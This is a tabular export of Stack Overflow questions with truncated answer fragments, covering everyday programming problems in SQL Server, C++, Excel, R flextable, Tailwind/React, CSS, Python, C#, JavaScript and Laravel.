qid int64 4 22.2M | question stringlengths 18 48.3k | answers list | date stringlengths 10 10 | metadata list |
|---|---|---|---|---|
74,184,435 | <p>So assume I have a stored procedure which has a parameter based on which columns are ordered and returned as a table.</p>
<p>I would like to insert to a new table same output but with a rownumber, in the same order which stored procedure returns values.</p>
<pre><code>create table test
(
ColA varchar(50),
ColB varchar(50)
);
GO
INSERT INTO test(ColA,ColB)
VALUES('aaa','zzz'),('yyy','bbb');
GO
CREATE PROCEDURE TestProc
(
@OrderCol VARCHAR(50)
)
AS
BEGIN
SELECT * FROM test
ORDER BY CASE @OrderCol WHEN 'A' THEN ColA WHEN 'B' THEN ColB END
END
GO
create table testRn
(
RowNum int,
ColA varchar(50),
ColB varchar(50)
);
GO
</code></pre>
<p>So as you can see there is a param is an SP @OrderCol and result is returned from an sp in ordered format, I just want to insert to a table with the same row number, <strong>but I can't use @OrderCol or alter a stored procedure</strong>.</p>
<p>Aka, I want to run this:</p>
<pre><code>INSERT INTO testRn(RowNum,ColA,ColB)
EXEC TestProc @OrderCol = 'B'
</code></pre>
<p>And <code>testRn.RowNum</code> there becomes this:</p>
<p><a href="https://i.stack.imgur.com/1gsaT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1gsaT.png" alt="enter image description here" /></a></p>
<p>Maybe I should create a temporary table with an identity field, insert it there, and then use Identity field as a row number?</p>
| [
{
"answer_id": 74184596,
"author": "Frédéric Perron",
"author_id": 9867351,
"author_profile": "https://Stackoverflow.com/users/9867351",
"pm_score": 2,
"selected": false,
"text": "[]"
},
{
"answer_id": 74185299,
"author": "adsy",
"author_id": 1086398,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184435",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2915362/"
] |
74,184,464 | <p><strong>How do I validate input for the array to only accept integers?</strong></p>
<pre><code>#include <iostream>
#include <iomanip>
#include <string>
#include <string>
using namespace std;
int main()
{
int TheNumbers[10];// An array of 10 indexes
int i;
for (i=0; i<10; i++) // accepts input 10 times
{
cout << "Enter a number: ";
cin >> TheNumbers[i];
}
for (i=9; i>=0; i--) // returns inputs in reverse order
{
cout << TheNumbers[i] << endl;
}
// ERROR MSSG: While input is not an integer
while(!(cin >> TheNumbers[10]))
{
cout << "**Inncorect input** \n" << "Please input a number: \n";
cin.clear();
cin.ignore(50, '\n');
}
return 0;
}
</code></pre>
<pre class="lang-none prettyprint-override"><code>Enter a number: Enter a number: Enter a number: Enter a number: Enter a number: Enter a number: Enter a number: Enter a number: Enter a number: 32765
-882742640
22081
1189945728
0
0
22081
1189946384
32744
0
</code></pre>
| [
{
"answer_id": 74184596,
"author": "Frédéric Perron",
"author_id": 9867351,
"author_profile": "https://Stackoverflow.com/users/9867351",
"pm_score": 2,
"selected": false,
"text": "[]"
},
{
"answer_id": 74185299,
"author": "adsy",
"author_id": 1086398,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184464",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20321625/"
] |
74,184,481 | <p>I am looking to split a data set in half (consisting of 1000's rows) automatically as the same action needs to be done daily. The difficulty is that I need each Slot start time segment to be halved and separated so that there is a control group and a test group.</p>
<p>I have attached a screenshot showing the data on the left (Slot start segments go from 05:30 all the way to 23:00 in 30 minute segments), then what my expected output is like on the right.</p>
<p>I suspect some VBA script will be required (no idea where to even start) - worth noting that the data will always be copied into the same cells, but the amount of data can vary as well as how many deliveries are in each time slot.</p>
<p>Screenshot of the data set on the left with the desired outcome on the right --</p>
<p><img src="https://i.stack.imgur.com/XskER.png" alt="1" /></p>
<p>Sample</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Customer No.</th>
<th>Delivery Date</th>
<th>Slot Start</th>
<th>Date Created</th>
</tr>
</thead>
<tbody>
<tr>
<td>53930360</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63544585</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63541128</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63545763</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63541115</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63544705</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63537186</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63537827</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63501434</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63541573</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63518156</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63512742</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63542098</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63542387</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>44643633</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>50709070</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>60258231</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63475911</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63538324</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63528634</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63535031</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63534306</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63532381</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63547783</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63518590</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63539583</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>62220268</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
</tbody>
</table>
</div>
<p>Desired output</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Customer No.</th>
<th>Delivery Date</th>
<th>Slot Start</th>
<th>Date Created</th>
<th>Customer No.</th>
<th>Delivery Date</th>
<th>Slot Start</th>
<th>Date Created</th>
</tr>
</thead>
<tbody>
<tr>
<td>53930360</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
<td>63541115</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63544585</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
<td>63544705</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63541128</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
<td>63537186</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63545763</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
<td>63537827</td>
<td>44855</td>
<td>05:30</td>
<td>44857</td>
</tr>
<tr>
<td>63501434</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63475911</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63541573</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63538324</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63518156</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63528634</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63512742</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63535031</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63542098</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63534306</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>63542387</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63532381</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>44643633</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63547783</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>50709070</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63518590</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td>60258231</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
<td>63539583</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>62220268</td>
<td>44855</td>
<td>06:00</td>
<td>44857</td>
</tr>
</tbody>
</table>
</div> | [
{
"answer_id": 74184596,
"author": "Frédéric Perron",
"author_id": 9867351,
"author_profile": "https://Stackoverflow.com/users/9867351",
"pm_score": 2,
"selected": false,
"text": "[]"
},
{
"answer_id": 74185299,
"author": "adsy",
"author_id": 1086398,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184481",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323557/"
] |
74,184,523 | <p>Whenever I delete something off of the css for the card component and readd it, it works but whenever I restart my project, it stops working.</p>
<p>I've already tried adding the html directory file to the content section of the tailwind.config file.</p>
<p>What it is supposed to look like:</p>
<img src="https://i.stack.imgur.com/A5Jhf.png" width="283" height="333">
<p>How it is looking:</p>
<p><a href="https://i.stack.imgur.com/lEUxQ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lEUxQ.jpg" alt="enter image description here" /></a></p>
<p>In <code>src/index.css</code>:</p>
<pre><code>@import url('https://fonts.googleapis.com/css2?family=Inter&display=swap');
@tailwind base;
@tailwind components;
@tailwind utilities;
</code></pre>
<p>In <code>src/app.js</code>:</p>
<pre><code>import { BrowserRouter } from "react-router-dom";
import { HashLink as Link } from "react-router-hash-link";
import Header from "./pages/Header";
import About from "./pages/About";
import Resume from "./pages/Resume";
import Projects from "./pages/projects";
import Contact from "./pages/Contact";
import Card from "./card/card"
function App() {
return (
<BrowserRouter>
<Header/>
<About/>
<Resume/>
<Card
img = "./img/resume.png"
title = "Resume"
description = "d resume"
button = "download"
/>
<Projects/>
<Contact/>
</BrowserRouter>
)
}
export default App;
</code></pre>
<p>In <code>src/card/card.jsx</code>:</p>
<pre><code>import React from "react";
export default function Card(props) {
return (
<div class="min-h-screen bg-orange-100 " className="card">
<div
class="w-60 p-2 bg-white rounded-xl transform transition-all hover:-translate-y-2 duration-300 shadow-lg hover:shadow-2xl"
className="card_body"
>
<img class="h-40 object-cover rounded-xl" src={props.img} />
<div class="p-2"></div>
<h2 class="font-bold text-lg mb-2 " className="card_title">
{props.title}
</h2>
<p class="text-sm text-gray-600" className="card_description">
{props.description}
</p>
<div class="m-2">
<button
class="text-white bg-sky-500 px-3 py-1 rounded-md hover:bg-purple-700"
className="card_btn"
>
{props.button}
</button>
</div>
</div>
</div>
);
}
</code></pre>
<p>In <code>tailwind.config.js</code>:</p>
<pre><code>/** @type {import('tailwindcss').Config} */
module.exports = {
purge: ["*"],
content: ["./src/**/*.{js,jsx,ts,tsx}", "./*/*.html"],
theme: {
extend: {
fontFamily: {
inter: "Inter",
},
},
},
plugins: [],
};
</code></pre>
| [
{
"answer_id": 74184596,
"author": "Frédéric Perron",
"author_id": 9867351,
"author_profile": "https://Stackoverflow.com/users/9867351",
"pm_score": 2,
"selected": false,
"text": "[]"
},
{
"answer_id": 74185299,
"author": "adsy",
"author_id": 1086398,
"author_profile"... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184523",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16883589/"
] |
74,184,525 | <p>I was working on a Discord Tutorial Site (<a href="http://elix.sap.md/elix/forgive" rel="nofollow noreferrer">http://elix.sap.md/elix/forgive</a>),
where I had an external CSS file. In Chrome everything worked fine Now when I tried it on Safari, the CSS settings were gone. Where in Chrome you were able to see colorful columns, in Safari only the text.
I have no idea what happened.</p>
<p>This is how it looks in Chrome:<br />
<a href="https://i.stack.imgur.com/5QWjy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5QWjy.png" alt="enter image description here" /></a></p>
<p>And this is how it looks on Safari:<br />
<a href="https://i.stack.imgur.com/oLBap.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oLBap.jpg" alt="enter image description here" /></a></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>.uber {
text-align: center;
}
.column {
width: calc(50% - 1px);
text-align: left;
float: left;
}
.colleft {
border-right: 1px solid rgb(0, 0, 0);
background-color: rgb(250, 250, 250)
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><h1 class="uber">Opilite's Discord Tutorial</h1>
<h2 class="uber">Lernen, wie man mit Discord umgeht; auch in unser Klassenserver</h2>
<div class="column colleft">
<h2 class="uber">Basiswissen</h2>
<ul>
<li>Wie beginnt man mit Discord?</li>
</ul>
</div>
<div class="column">
<h2 class="uber">Unser Server</h2>
<ul>
<li>Was musst du im unserem Server wissen?</li>
</ul>
</div></code></pre>
</div>
</div>
</p>
<p>Can someone help me?<br />
Thanks in advance,
Opilite</p>
| [
{
"answer_id": 74218349,
"author": "FUZIION",
"author_id": 13050564,
"author_profile": "https://Stackoverflow.com/users/13050564",
"pm_score": 1,
"selected": false,
"text": "<link>"
}
] | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184525",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20322222/"
] |
74,184,528 | <p>Suppose I have a list of dictionaries</p>
<pre><code>lst = [{'match': 0,
'ref_title': ['dog2', 'title1'],
'matching_string': 'dog2',
'display_string': 'dog2'},
{'match': 0,
'ref_title': ['dog2', 'cat'],
'matching_string': 'dog2',
'display_string': 'dog2'},
{'match': 2,
'ref_title': ['dog2', 'dog'],
'matching_string': 'dog',
'display_string': 'dog2'}]
</code></pre>
<p>I am trying to make a new list, based on the following conditions:</p>
<ul>
<li><p>If match = 2 or 1, keep only the dictionaries with match = 2 or 1.</p>
</li>
<li><p>If match = 0, make new list empty.</p>
</li>
</ul>
<p>So for the above case, I want to achieve</p>
<pre><code>[{'match': 2,
'ref_title': ['dog2', 'dog'],
'matching_string': 'dog',
'display_string': 'dog2'}]
</code></pre>
<p>How can I do this efficiently?</p>
| [
{
"answer_id": 74184585,
"author": "Pierre D",
"author_id": 758174,
"author_profile": "https://Stackoverflow.com/users/758174",
"pm_score": 1,
"selected": false,
"text": "newlst = [d for d in lst if d.get('match') in {1,2}]\n"
},
{
"answer_id": 74184595,
"author": "Omer Dagry... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184528",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19986138/"
] |
74,184,543 | <p>I'm using <code>officer</code> and <code>flextable</code> to create captioned tables in a report exported to word. I've been setting "Table Caption" as the word style, and indeed the exported word doc has the caption identified as the style "Table Caption". However, the title section of the caption does not follow the set word style. The "Table #:" part does, but the caption words do not. The caption words show up as Arial. If I change the flextable font via <code>set_flextable_options</code>, the caption words will be in that font.</p>
<p>The same result occurs regardless of how the caption is set, i.e. via <code>tab.cap</code> and <code>tab.cap.style</code> or via <code>set_caption</code>. I made a new word style in case something was weird with the default "Table Caption" and used that in <code>tab.cap.style</code> and the same thing happens. It shows as set to that style but doesn't follow the font properties of the style. The "Table #:" part comes out as expected.</p>
<p>Example:</p>
<pre><code>---
title: "flextable caption example"
output:
officedown::rdocx_document:
reference_docx: ref.docx
---
```{r setup, include=FALSE}
library(officedown)
library(officer)
library(flextable)
knitr::opts_chunk$set(
echo = FALSE,
tab.cap.style = "Table Caption",
tab.cap.pre = "Table",
tab.cap.sep = ":")
```
```{r echo=FALSE, tab.cap="airquality dataset", tab.id="tab1"}
ft <- qflextable(head(airquality))
ft
```
</code></pre>
<p>The image is with "airquality dataset" selected. Expected output would be for the entire caption to be in the same style as "Table 1:" is.</p>
<p><a href="https://i.stack.imgur.com/MVXln.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MVXln.png" alt="enter image description here" /></a></p>
<p>My search hasn't come across any instance of this issue, and from following the online user guides I believe I am doing it correctly. In fact, running sample code from online does the exact same thing.</p>
<p>If I'm missing something, please let me know. Or if there's another way to set the caption font properties other than identifying a word style.</p>
| [
{
"answer_id": 74184585,
"author": "Pierre D",
"author_id": 758174,
"author_profile": "https://Stackoverflow.com/users/758174",
"pm_score": 1,
"selected": false,
"text": "newlst = [d for d in lst if d.get('match') in {1,2}]\n"
},
{
"answer_id": 74184595,
"author": "Omer Dagry... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184543",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14924809/"
] |
74,184,568 | <p>i'm coding bulls and cows by python.
here is my code.
i want re-input if i get a not a number or over or under unit digit.
for example if i input '1, a , 2', i need to go back to input line but other numbers but because of other numbers '1'and'2', it goes else line and while statement will end.please help me.sorry about bad English</p>
<pre><code>flag=0
while flag==0:
num=[0]
num=input('Input 3 number(ex: 1, 2, 3) : ').split(', ')
for i in range(3):
if(len(num)>3):
print('Only input 3 number')
break
elif(num[i].isdigit()==False):
print('Input only a Number')
break
elif(int(num[i]<0 or int(num[i]>9):
print('out of number range')
break
else:
flag=1
</code></pre>
| [
{
"answer_id": 74184671,
"author": "Luiz Prianti",
"author_id": 15577260,
"author_profile": "https://Stackoverflow.com/users/15577260",
"pm_score": 1,
"selected": false,
"text": "while True:\n num=input('Input 3 numbers (ex: 1, 2, 3) : ').split(', ')\n\n if(len(num)==3):\n i... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184568",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323619/"
] |
74,184,569 | <p>I have this json:</p>
<pre><code> {
"data":[
{
"id": "Character_Alien",
"name": "Trespasser",
"description": "Invader",
"type": {
"value": "outfit",
"displayValue": "Outfit",
"backendValue": "AthenaCharacter"
},
"rarity": {
"value": "uncommon",
"displayValue": "Uncommon"
},
"series": null,
"set": null,
"introduction": {
"chapter": "2022",
"text": "Introduced in 2022",
"backendValue": 22
},
"images": {
"smallIcon": "https://smallimage.png",
"icon": "https://image.png",
"featured": "https://imagebig.png",
"other": null
},
"variants": null,
"searchTags": null,
"metaTags": null
},
{
"id": "Character_Knowing",
"name": "Sinister",
"description": "He holds your fate.",
"type": {
"value": "outfit",
"displayValue": "Outfit",
"backendValue": "AthenaCharacter"
},
"rarity": {
"value": "rare",
"displayValue": "Rare",
"backendValue": "EFortRarity::Rare"
},
"series": null,
"set": {
"value": "Malice",
"text": "Path.",
"backendValue": "GripHate"
},
"introduction": {
"chapter": "2021",
"backendValue": 22
},
"images": {
"smallIcon": "https://smallimage.png",
"icon": "https://image.png",
"featured": "https://imagebig.png",
"other": null
},
"variants": null,
"searchTags": null,
"metaTags": null
}
]
}
</code></pre>
<p>It is a JSON 50000+ lines long this is just 2 of the objects of the JSON. I would like to get the "name", the "images" and the "rarity" values only if the "displayValue" is "Outfit". There are a lot of different displayValues so I want to filter the Outfit value first and then I can figure out how to filter the other ones.</p>
<p>I would like to do it in C# but if it can be done easier using Java I can do it there too(I have basic knowledge on both of them)</p>
<p>I have this in mind:</p>
<pre><code>Foreach object in the json
If the object.displayValue = outfit then
string name = object.name
string imagesmall = object.imagesmall
string image = object.image
string imagebig = object.imagebig
String rariry = object.rarity
</code></pre>
<p>If it can be done this way, I then want to generate an image for each outfit with the name and rarity in it as text.</p>
<p>Any links to a similar question would be appreciated, It is the 3rd day that I am looking how to do this and this is my last resort.</p>
| [
{
"answer_id": 74184956,
"author": "Dulanjan Madusanka",
"author_id": 19127142,
"author_profile": "https://Stackoverflow.com/users/19127142",
"pm_score": 0,
"selected": false,
"text": "using Newtonsoft.Json;\n\npublic class Program\n{\n public static void Main()\n {\n string... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184569",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8218225/"
] |
74,184,573 | <p>i cant seem to figure out why the input isnt storing in the variables. I've tried searching for a few days but found nothing so im asking here can somebody please help.</p>
<p>my code:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function openForm() {
document.getElementById("myForm").style.display = "block";
document.getElementById("profile").style.display = "none";
document.getElementById("usernametxt").style.display = "none";
}
function closeForm() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
console.log(input);
document.getElementById("myForm").style.display = "none";
document.getElementById("Login").style.display = "none";
document.getElementById("profile").style.display = "block";
document.getElementById("usernametxt").style.display = "block";
alert(username);
alert(password);
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div>
<button class="open-button" onclick="openForm()" id="Login">Log In</button>
<!-- The form -->
<div class="form-popup" id="myForm">
<form class="form-container" onsubmit="return false;">
<h1>Login</h1>
<label for="username"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="username" id="username" required>
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" id="password" required>
<button type="submit" class="btn">Login</button>
<button type="button" class="btn cancel" onclick="closeForm()">Close</button>
</form>
</div>
</div></code></pre>
</div>
</div>
</p>
| [
{
"answer_id": 74184956,
"author": "Dulanjan Madusanka",
"author_id": 19127142,
"author_profile": "https://Stackoverflow.com/users/19127142",
"pm_score": 0,
"selected": false,
"text": "using Newtonsoft.Json;\n\npublic class Program\n{\n public static void Main()\n {\n string... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184573",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323497/"
] |
74,184,574 | <p>I am trying to create a user and extend the data to another table using foreign key.
For example. I have a user and the user has the basic fields name, email, password etc. I am trying to extend the data into another table called user_audience. I can create a users with the basic fields but cant data to save to the user_audience table with a check mark. If a a new user falls into an audience we want to checkmark it and save the value of 1 to the database under that user audience column. Just not sure how to handle data sent to another table Im sure I need some adjustments. Thanks in advance.</p>
<p><a href="https://i.stack.imgur.com/7bpaA.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7bpaA.jpg" alt="user table" /></a>
<a href="https://i.stack.imgur.com/pUtFn.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pUtFn.jpg" alt="user audience table" /></a></p>
<p>UserController</p>
<pre><code> public function store(Request $request)
{
$this->validate(request(), [
'name' => 'required',
'username' => 'required',
'email' => 'required|email',
'company' => 'required',
'customer_number' => 'required',
'password' => 'required'
]);
$user = User::create(request(
[
'name',
'email',
'password',
'username',
'company',
'customer_number'
]));
return redirect()->route('admin.users.index')->with('success','User has been created successfully.');
}
</code></pre>
<p>UserModel</p>
<pre><code>namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\BelongsToMany;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
use Laravel\Sanctum\HasApiTokens;
use Spatie\Permission\Traits\HasRoles;
use App\Models\UserAudidence;
/**
* @property Role $role
*/
class User extends Authenticatable
{
use HasApiTokens, HasFactory, Notifiable, HasRoles;
/**
* The attributes that are mass assignable.
*
* @var array<int, string>
*/
protected $fillable = [
'role_id',
'customer_id',
'name',
'username',
'company',
'email',
'password',
'affected_public',
'affected_public_mu',
'affected_public_row',
'affected_public_mfdu',
'damage_prevention_demo',
'damage_prevention',
'damage_prevention_residential',
'emergency_official',
'excavator',
'first_responder',
'first_responder_fire',
'first_responder_police',
'public_official',
'public_official_school',
'school',
'worker_ag',
'worker_contractor',
'worker_contractor_ag',
'worker_contractor_tree',
'worker_cranes',
'worker_crop_duster',
'worker_farm',
'worker_fence',
'worker_fiber',
'worker_landscaping',
'worker_overhead',
'worker_orchard',
'worker_roofers_overhead',
'worker_roofers',
'worker_tree',
'worker_tree_landscaping',
'worker_right_tree',
'worker_loggers',
'worker_tree_rental_equip',
'worker_at_risk',
'worker_cross_bore',
];
/**
* Add a mutator to ensure hashed passwords
*/
public function setPasswordAttribute($password)
{
$this->attributes['password'] = bcrypt($password);
}
/**
* The attributes that should be hidden for serialization.
*
* @var array<int, string>
*/
protected $hidden = [
'password',
'remember_token',
];
/**
* The attributes that should be cast.
*
* @var array<string, string>
*/
protected $casts = [
'email_verified_at' => 'datetime',
];
// Relationship between User and UserAudience
public function UserAudidence(): BelongsTo
{
return $this->belongsTo(UserAudidence::class,);
}
</code></pre>
<p>UserAudience Model</p>
<pre><code>namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class UserAudience extends Model
{
protected $fillable = [
'affected_public',
'affected_public_mu',
'affected_public_row',
'affected_public_mfdu',
'damage_prevention_demo',
'damage_prevention',
'damage_prevention_residential',
'emergency_official',
'excavator',
'first_responder',
'first_responder_fire',
'first_responder_police',
'public_official',
'public_official_school',
'school',
'worker_ag',
'worker_contractor',
'worker_contractor_ag',
'worker_contractor_tree',
'worker_cranes',
'worker_crop_duster',
'worker_farm',
'worker_fence',
'worker_fiber',
'worker_landscaping',
'worker_overhead',
'worker_orchard',
'worker_roofers_overhead',
'worker_roofers',
'worker_tree',
'worker_tree_landscaping',
'worker_right_tree',
'worker_loggers',
'worker_tree_rental_equip',
'worker_at_risk',
'worker_cross_bore',
];
}
</code></pre>
<p>Bladefile</p>
<pre><code>
<form action="{{ route('admin.users.store') }}" method="POST" novalidate="novalidate" id="kt_create_account_form">
@csrf
<label class="required fs-6 fw-semibold mb-2">UserName</label>
<input type="text" class="form-control form-control-solid" placeholder="Username" name="username">
<label class="fs-6 fw-semibold mb-2">Email</label>
<input type="email" class="form-control form-control-solid" placeholder="Email Address" name="email">
<label class="required fs-6 fw-semibold mb-2">Password</label>
<input type="password" class="form-control form-control-solid" placeholder="Enter password" name="password">
<label class="form-label required">Company Name</label>
<input name="company_name" class="form-control form-control-lg form-control-solid" placeholder="Company Name" value="">
<label class="form-label required">Customer Number</label>
<input name="customer_number" class="form-control form-control-lg form-control-solid" placeholder="Customer Number" value="">
<label class="d-flex align-items-center form-label">Phone</label>
<input name="phone" class="form-control form-control-lg form-control-solid" value="Phone Number">
<label class="d-flex align-items-center form-label">Address</label>
<input name="address" class="form-control form-control-lg form-control-solid" placeholder="Street Address" value="">
<label class="d-flex align-items-center form-label">City</label>
<input name="city" class="form-control form-control-lg form-control-solid" placeholder="City" value="">
<label class="d-flex align-items-center form-label">State</label>
<input name="state" class="form-control form-control-lg form-control-solid" placeholder="State" value="">
<label class="d-flex align-items-center form-label">Zipcode</label>
<input name="zipcode" class="form-control form-control-lg form-control-solid" placeholder="Zipcode" value="">
<label class="d-flex align-items-center form-label mb-5">Select Audiences
<label class="d-flex flex-stack mb-5 cursor-pointer">Agricultural Worker</span>
<input class="form-check-input" type="checkbox" value="true" name="worker_contractor">
<button type="submit" class="btn btn-lg btn-primary me-3" data-kt-stepper-action="submit">Submit</button>
</form>
</code></pre>
<p>Create users migrations</p>
<pre><code> public function up()
{
Schema::create('users', function (Blueprint $table) {
$table->bigIncrements('id')->unique();
$table->string('name');
$table->string('username')->unique();
$table->integer('customer_number');
$table->string('email')->unique();
$table->timestamp('email_verified_at')->nullable();
$table->string('password');
$table->string('company');
$table->string('address');
$table->string('city');
$table->string('state');
$table->string('zipcode');
$table->string('country');
$table->rememberToken();
$table->timestamps();
$table->unsignedBigInteger('audience_id')->nullable();
});
</code></pre>
<p>add user audience table migration</p>
<pre><code>public function up()
{
Schema::create('users_audiences', function (Blueprint $table) {
$table->bigIncrements('id'); // by default the primary key is set to unsigned big integer
$table->unsignedBigInteger('user_id'); //associate the address with a user
$table->string('affected_public');
$table->string('affected_public_mu');
$table->string('affected_public_row');
$table->string('affected_public_mfdu');
$table->string('damage_prevention_demo');
$table->string('damage_prevention');
$table->string('damage_prevention_residential');
$table->string('emergency_official');
$table->string('excavator');
$table->string('first_responder');
$table->string('first_responder_fire');
$table->string('first_responder_police');
$table->string('public_official');
$table->string('public_official_school');
$table->string('school');
$table->string('worker_ag');
$table->string('worker_contractor');
$table->string('worker_contractor_ag');
$table->string('worker_contractor_tree');
$table->string('worker_cranes');
$table->string('worker_crop_duster');
$table->string('worker_farm');
$table->string('worker_fence');
$table->string('worker_fiber');
$table->string('worker_landscaping');
$table->string('worker_overhead');
$table->string('worker_orchard');
$table->string('worker_roofers_overhead');
$table->string('worker_roofers');
$table->string('worker_tree');
$table->string('worker_tree_landscaping');
$table->string('worker_right_tree');
$table->string('worker_loggers');
$table->string('worker_tree_rental_equip');
$table->string('worker_at_risk');
$table->string('worker_cross_bore');
$table->timestamps();
$table->foreign('user_id')->references('id')->on('users')->onDelete('cascade');
});
}
</code></pre>
| [
{
"answer_id": 74185080,
"author": "Usman Khan",
"author_id": 10144490,
"author_profile": "https://Stackoverflow.com/users/10144490",
"pm_score": 2,
"selected": true,
"text": "$user = new User();\n $user->name = $request->input('name');\n $user->name = $request->input('email');\n ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184574",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4317399/"
] |
74,184,584 | <p>I currently have a dataset that is formatted:</p>
<div class="s-table-container">
